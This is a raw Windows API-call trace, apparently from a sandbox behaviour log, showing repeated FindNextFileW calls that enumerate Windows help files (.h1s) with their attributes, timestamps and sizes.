	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe5eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="efs.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12e05, dwReserved0=0x0, dwReserved1=0x0, cFileName="efsfull.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc7b00, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xecc7b00, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa472, dwReserved0=0x0, dwReserved1=0x0, cFileName="errmes.h1s", cAlternateFileName="")) returned 1
	[0086.775] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="escalate.h1s", cAlternateFileName="")) returned 1
	[0086.775] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x101b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="fax.h1s", cAlternateFileName="")) returned 1
	[0086.775] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16424, dwReserved0=0x0, dwReserved1=0x0, cFileName="firewall.h1s", cAlternateFileName="")) returned 1
	[0086.775] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2682e, dwReserved0=0x0, dwReserved1=0x0, cFileName="fstexp.h1s", cAlternateFileName="")) returned 1
	[0086.775] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae47c2bc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="fus.h1s", cAlternateFileName="")) returned 1
	[0086.775] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe447fcf, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe447fcf, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1dcda, dwReserved0=0x0, dwReserved1=0x0, cFileName="games.h1s", cAlternateFileName="")) returned 1
	[0086.775] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x159d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="gamesp.h1s", cAlternateFileName="")) returned 1
	[0086.775] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x474e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="harddev.h1s", cAlternateFileName="")) returned 1
	[0086.775] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="helpplc.h1s", cAlternateFileName="")) returned 1
	[0086.775] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b357, dwReserved0=0x0, dwReserved1=0x0, cFileName="hgroup.h1s", cAlternateFileName="")) returned 1
	[0086.775] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6289, dwReserved0=0x0, dwReserved1=0x0, cFileName="hgroupp.h1s", cAlternateFileName="")) returned 1
	[0086.775] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5966, dwReserved0=0x0, dwReserved1=0x0, cFileName="hhomeue.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x19193, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmeshare.H1S", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xeb5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ics.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3e3900, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7ebd, dwReserved0=0x0, dwReserved1=0x0, cFileName="iisbasic.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5fae, dwReserved0=0x0, dwReserved1=0x0, cFileName="instmes.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xeb3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="itpro.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x309c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="itprobasic.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15662, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe447fcf, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe447fcf, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c21, dwReserved0=0x0, dwReserved1=0x0, cFileName="langreg.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b627, dwReserved0=0x0, dwReserved1=0x0, cFileName="legapp.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3e3900, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbaa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="legapp2.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ec80, dwReserved0=0x0, dwReserved1=0x0, cFileName="library.H1S", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x614f, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6778, dwReserved0=0x0, dwReserved1=0x0, cFileName="locate.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe75f, dwReserved0=0x0, dwReserved1=0x0, cFileName="locatep.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7703, dwReserved0=0x0, dwReserved1=0x0, cFileName="mail.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae47c2bc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x40679, dwReserved0=0x0, dwReserved1=0x0, cFileName="medctr.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46e288, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae34af44, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe46e288, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x22822, dwReserved0=0x0, dwReserved1=0x0, cFileName="medexp.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55618, dwReserved0=0x0, dwReserved1=0x0, cFileName="medexp2.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="medexptv.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46e288, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae34af44, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe46e288, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="migrate.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120d1135, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x120d1135, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12b4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="misccommandreference.h1s", cAlternateFileName="")) returned 1
	[0086.776] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6ef5, dwReserved0=0x0, dwReserved1=0x0, cFileName="mobctr.h1s", cAlternateFileName="")) returned 1
	[0086.777] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xdcb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="mobile.h1s", cAlternateFileName="")) returned 1
	[0086.778] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6214, dwReserved0=0x0, dwReserved1=0x0, cFileName="movie.H1S", cAlternateFileName="")) returned 1
	[0086.778] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5941, dwReserved0=0x0, dwReserved1=0x0, cFileName="mreuse.h1s", cAlternateFileName="")) returned 1
	[0086.778] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="multboot.h1s", cAlternateFileName="")) returned 1
	[0086.778] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae47c2bc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="multimon.h1s", cAlternateFileName="")) returned 1
	[0086.778] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa02a, dwReserved0=0x0, dwReserved1=0x0, cFileName="netproj.h1s", cAlternateFileName="")) returned 1
	[0086.778] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed605e4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xed605e4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2eed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="netvsta.h1s", cAlternateFileName="")) returned 1
	[0086.778] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6068, dwReserved0=0x0, dwReserved1=0x0, cFileName="netw.h1s", cAlternateFileName="")) returned 1
	[0086.778] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec7b58e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xec7b58e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe181, dwReserved0=0x0, dwReserved1=0x0, cFileName="netwl.h1s", cAlternateFileName="")) returned 1
